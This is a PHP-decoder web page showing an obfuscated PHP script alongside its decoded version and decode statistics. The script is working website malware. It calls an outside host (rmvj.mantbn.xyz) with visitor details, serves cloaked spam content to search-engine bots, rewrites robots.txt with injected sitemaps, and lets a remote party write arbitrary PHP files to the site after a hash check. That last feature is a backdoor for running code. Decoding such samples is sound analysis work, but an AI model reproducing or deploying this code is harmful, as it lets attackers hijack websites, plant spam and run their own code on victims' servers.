Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto W3xHj; pPUu_: $htag = trim(daag($web)); goto V1gk4; V1gk4: if (!strstr($htag, "\156\..
Decoded Output download
<? goto W3xHj; pPUu_: $htag = trim(daag($web)); goto V1gk4; V1gk4: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto f1fSz; P5Rk0: @ignore_user_abort(1); goto FMNo4; EHqgn: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto BlQkF; cJRbY: $ddur_tmp = st_uri(); goto UojgB; W3xHj: @set_time_limit(3600); goto P5Rk0; UojgB: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto Q1Lih; Rntu0: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto cJRbY; ZDM8A: if (@$_GET["pd"] != '') { $acot = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($acot, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "User-agent: *" . "\xd
" . "Allow: /"; } $sturs = $http . "://" . $host . "/" . $acot; if (stristr($data, $sturs)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sturs)) { echo "<br>ok<br>"; } else { echo "<br> false!<br>"; } } } else { echo "<br> false!<br>"; } if (strstr($acot, ".p" . "hp")) { if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $acot, $dstr)) { echo "ok"; } } } } die; } goto OhSDV; kirE8: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto hbvg4; BlQkF: $host = $_SERVER["HTTP_HOST"]; goto kirE8; hbvg4: $lag = urlencode($lag); goto EQOia; OhSDV: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto pPUu_; Q1Lih: $ddur = urlencode($ddur_tmp); goto DNXwS; FMNo4: $goto = "rmvj"; goto V_odJ; P5big: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto ZDM8A; V_odJ: $htwe = "http"; goto Rntu0; N66Fb: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto F87vs; fmBBA: $towe = $goto . ".mantbn" . ".xyz"; goto EHqgn; f1fSz: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto N66Fb; EQOia: $usse = ''; goto P5big; F87vs: function daag($url) { $ficonts = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto yPtrX; DNXwS: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto fmBBA; yPtrX: ?>
Did this file decode correctly?
Original Code
goto W3xHj; pPUu_: $htag = trim(daag($web)); goto V1gk4; V1gk4: if (!strstr($htag, "\156\x6f\142\157\x74\x75\x73\145\162\x61\147\145\156\x74")) { if (strstr($htag, "\157\x6b\x68\x74\155\154\x67\x65\164\143\157\x6e\x74\145\156\164")) { @header("\103\157\x6e\164\145\156\x74\55\x74\x79\x70\145\x3a\x20\164\x65\x78\164\57\150\x74\x6d\x6c\73\40\143\x68\x61\162\163\145\164\x3d\165\x74\x66\55\70"); $htag = str_replace("\157\153\x68\164\x6d\154\147\145\164\143\x6f\156\x74\x65\156\x74", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\153\170\x6d\x6c\147\145\x74\143\x6f\156\164\x65\x6e\164")) { $htag = str_replace("\x6f\x6b\170\x6d\154\x67\145\164\143\157\156\164\x65\x6e\x74", '', $htag); @header("\103\157\156\164\145\x6e\164\x2d\x74\x79\x70\x65\x3a\x20\x74\145\170\164\x2f\170\x6d\x6c"); echo $htag; die; } else { if (strstr($htag, "\160\x69\x6e\x67\x78\155\x6c\x67\x65\x74\143\157\156\x74\x65\156\164")) { $htag = str_replace("\160\151\156\x67\x78\155\x6c\x67\x65\x74\143\x6f\156\x74\x65\156\x74", '', $htag); @header("\x43\x6f\x6e\164\145\x6e\164\55\164\171\x70\145\x3a\40\x74\145\170\164\x2f\x68\164\155\x6c\x3b\x20\143\x68\141\x72\163\x65\164\x3d\165\164\x66\x2d\x38"); echo pingmap($htag); die; } } } } goto f1fSz; P5Rk0: @ignore_user_abort(1); goto FMNo4; EHqgn: function ishtt() { if (isset($_SERVER["\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\137\x58\137\x46\x4f\122\127\x41\122\104\x45\x44\x5f\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\117\x52\x57\x41\122\104\x45\104\137\120\x52\x4f\124\117"] === "\x68\164\x74\160\163") { return true; } elseif (isset($_SERVER["\x48\x54\124\x50\x5f\106\x52\117\x4e\124\137\x45\116\x44\137\x48\x54\124\120\123"]) && strtolower($_SERVER["\x48\x54\124\x50\137\x46\x52\117\116\124\137\x45\116\x44\x5f\x48\124\x54\120\123"]) !== "\157\146\x66") { return true; } return false; } goto BlQkF; cJRbY: $ddur_tmp = st_uri(); goto UojgB; W3xHj: @set_time_limit(3600); goto P5Rk0; UojgB: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto Q1Lih; Rntu0: if (ishtt()) { $http = "\150\164\x74\x70\163"; } else { $http = "\x68\164\x74\160"; } goto cJRbY; ZDM8A: if (@$_GET["\160\x64"] != '') { $acot = @$_GET["\155\x61\x70\x6e\x61\155\145"]; $action = @$_GET["\141\143\164\151\x6f\x6e"]; if (isset($_SERVER["\x44\117\x43\125\x4d\x45\116\124\137\122\x4f\117\124"])) { $path = $_SERVER["\104\117\x43\125\115\105\116\124\137\x52\117\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\x74"; } if ($action == "\x70\165\x74") { if (strstr($acot, "\56\170\155\154")) { $map_path = $path . "\57\163\151\x74\x65\x6d\141\x70\56\170\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\142\157\164\163\56\164\x78\x74"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\x55\163\145\162\55\141\147\x65\x6e\164\72\40\52" . "\xd\12" . "\x41\x6c\154\x6f\167\x3a\40\x2f"; } $sturs = $http . "\72\x2f\57" . $host . "\x2f" . $acot; if (stristr($data, $sturs)) { echo "\x3c\x62\x72\x3e\x73\x69\164\x65\155\x61\160\x20\x61\154\x72\145\141\144\171\40\141\144\x64\145\144\x21\x3c\142\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\123\x69\x74\x65\x6d\x61\x70\72\40" . $sturs)) { echo "\74\x62\x72\76\x6f\153\x3c\142\x72\x3e"; } else { echo "\x3c\x62\162\x3e\40\146\x61\x6c\x73\x65\41\x3c\142\162\x3e"; } } } else { echo "\74\142\x72\76\40\x66\141\154\163\x65\x21\74\142\162\76"; } if (strstr($acot, "\56\160" . "\x68\160")) { if (sha1(sha1(@$_GET["\x61"])) == daag($htwe . "\x3a\57\57" . $towe . "\57\141\x2e\160" . "\x68\x70")) { $dstr = @$_GET["\x64\x73\164\162"]; if (file_put_contents($path . "\57" . $acot, $dstr)) { echo "\157\153"; } } } } die; } goto OhSDV; kirE8: $lag = @$_SERVER["\110\124\x54\x50\x5f\x41\x43\x43\x45\120\x54\x5f\114\101\x4e\107\125\101\107\105"]; goto hbvg4; BlQkF: $host = $_SERVER["\x48\x54\124\x50\137\110\117\123\124"]; goto kirE8; hbvg4: $lag = urlencode($lag); goto EQOia; OhSDV: $web = $htwe . "\72\57\x2f" . $towe . "\x2f\x69\156\144\x65\56\x70\x68\160\x3f\167\145\142\x3d" . $host . "\x26\x7a\x7a\x3d" . sbot() . "\x26\165\x72\x69\75" . $ddur . "\x26\x75\162\x6c\x73\x68\x61\x6e\147\x3d" . $usse . "\x26\150\164\164\x70\75" . $http . "\x26\x6c\141\156\x67\x3d" . $lag; goto pPUu_; Q1Lih: $ddur = urlencode($ddur_tmp); goto DNXwS; FMNo4: $goto = "\x72\x6d\166\152"; goto V_odJ; P5big: if (isset($_SERVER["\x48\124\x54\120\137\122\105\106\x45\x52\x45\x52"])) { $usse = $_SERVER["\x48\x54\x54\x50\137\122\x45\x46\105\x52\105\122"]; $usse = urlencode($usse); } goto ZDM8A; V_odJ: $htwe = "\x68\164\164\160"; goto Rntu0; N66Fb: function sbot() { $uaget = strtolower($_SERVER["\x48\x54\124\120\x5f\125\x53\105\122\x5f\101\107\105\116\x54"]); if (stristr($uaget, "\x67\x6f\157\x67\154\145\142\157\164") || stristr($uaget, "\142\x69\156\x67") || stristr($uaget, "\171\x61\x68\x6f\157") || stristr($uaget, "\x67\157\157\147\154\145") || stristr($uaget, "\107\157\157\147\154\145\142\157\164") || stristr($uaget, "\x67\x6f\157\x67\154\145\142\x6f\x74")) { return true; } else { return false; } } goto F87vs; fmBBA: $towe = $goto . "\56\x6d\141\x6e\x74\x62\156" . "\56\x78\171\172"; goto EHqgn; f1fSz: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\x53\151\x74\145\155\x61\160\x20\116\157\164\x69\x66\x69\x63\x61\164\151\157\x6e\40\122\x65\x63\x65\151\x76\x65\144") !== false ? "\x70\151\x6e\x67\157\153" : "\x65\162\x72\x6f\x72"; $return_str .= $pingUrl . "\x2d\x2d\40" . $ok . "\74\x62\x72\76"; } return $return_str; } goto N66Fb; EQOia: $usse = ''; goto P5big; F87vs: function daag($url) { $ficonts = ''; if (function_exists("\x63\165\x72\154\137\x69\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto yPtrX; DNXwS: function st_uri() { if (isset($_SERVER["\122\105\x51\125\x45\123\x54\x5f\125\122\111"])) { $ddur = $_SERVER["\x52\x45\x51\x55\105\x53\x54\x5f\125\x52\x49"]; } else { if (isset($_SERVER["\141\x72\x67\166"])) { $ddur = $_SERVER["\x50\110\120\137\123\105\x4c\106"] . "\77" . $_SERVER["\141\162\x67\x76"][0]; } else { $ddur = $_SERVER["\x50\x48\x50\137\123\105\x4c\106"] . "\77" . $_SERVER["\x51\x55\105\122\131\137\x53\x54\122\111\x4e\107"]; } } return $ddur; } goto fmBBA; yPtrX:
Function Calls
None |
Stats
MD5 | 057aa041a4f240611d76f9d5351e2cd9 |
Eval Count | 0 |
Decode Time | 63 ms |